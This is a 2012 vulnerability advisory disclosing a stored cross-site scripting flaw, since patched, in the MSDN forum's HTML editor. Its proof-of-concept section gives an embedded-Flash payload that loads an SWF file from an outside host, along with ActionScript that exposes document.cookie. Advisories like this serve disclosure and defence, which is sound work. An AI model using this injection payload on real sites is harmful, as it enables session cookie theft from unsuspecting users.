Microsoft MSDN - Persistent Web Service Vulnerability

Document Title:
===============
Microsoft MSDN - Persistent Web Service Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=450

MSRC ID#1: 12152
MSRC ID#2: 12228


Release Date:
=============
2012-04-07


Vulnerability Laboratory ID (VL-ID):
====================================
450


Common Vulnerability Scoring System:
====================================
7.5


Product & Service Introduction:
===============================
The Microsoft Developer Network (MSDN) is the portion of Microsoft responsible for managing the firms 
relationship with developers and testers: hardware developers interested in the operating system (OS), 
developers standing on the various OS platforms, developers using the API and scripting languages of 
Microsoft s applications. The relationship management is situated in assorted media: web sites, 
newsletters, developer conferences, trade media, blogs and DVD distribution. The life cycle of the 
relationships ranges from legacy support through evangelizing potential offerings.

(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Microsoft_Developer_Network )


Abstract Advisory Information:
==============================
A Vulnerability Laboratory Researchers discovered a critical vulnerability on Microsofts MSDN Service Application.


Vulnerability Disclosure Timeline:
==================================
2012-02-06:	Vendor Notification
2012-02-10:	Vendor Response/Feedback
2012-03-29:	Vendor Fix/Patch 
2012-04-09:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A persistent flash componente input validation vulnerability is detected on Microsofts MSDN Forum Service Application.
The vulnerability allows an attacker to implement malicious persistent comments when the user is editing or posting through Flash.
The vulnerability is located on the htmleditor input/output when processing to load manipualtes swf files which were created 
with flash action script.

Vulnerable Module(s):
                                                           [+] Comments & Edit - Flash Input/Output (Editor-HTML) [WebKit]

Picture(s):
                                                           ../1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ...

1) Either comment or start a new thread (http://channel9.msdn.com/forum).
2) Click on the html button, through which you can enter html source directly "HTML Source editor"
3) Paste the exploit code:


       <object type="application/x-shockwave-flash" data="http://www.subhohalder.com/xysecteam.swf" width="300" height="300">
           <param name="movie" value="http://www.subhohalder.com/xysecteam.swf" />
                 <param name="quality" value="high" />
                 <param name="scale" value="noscale" />
                 <param name="salign" value="LT" />
       <param name="allowScriptAccess" value="always" />
                 <param name="menu" value="false" />
            </object>


4) Click on update, and the document.cookie pop ups in alert

the vulnerable SWF is compiled from an ActionScript with the following code:


       class Main {

       static function main() {

       getURL('javascript:alert("VL Team "+document.cookie)');

       }    }


Reference(s):
                                                           ../poc1.zip


Security Risk:
==============
The security risk of the persistent input/output valiation vulnerability is estimated as high(+).


Credits & Authors:
==================
Vulnerability Laboratory Researcher   -    Subho Halder,   Aditya Gupta   &   Dev Kar 


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory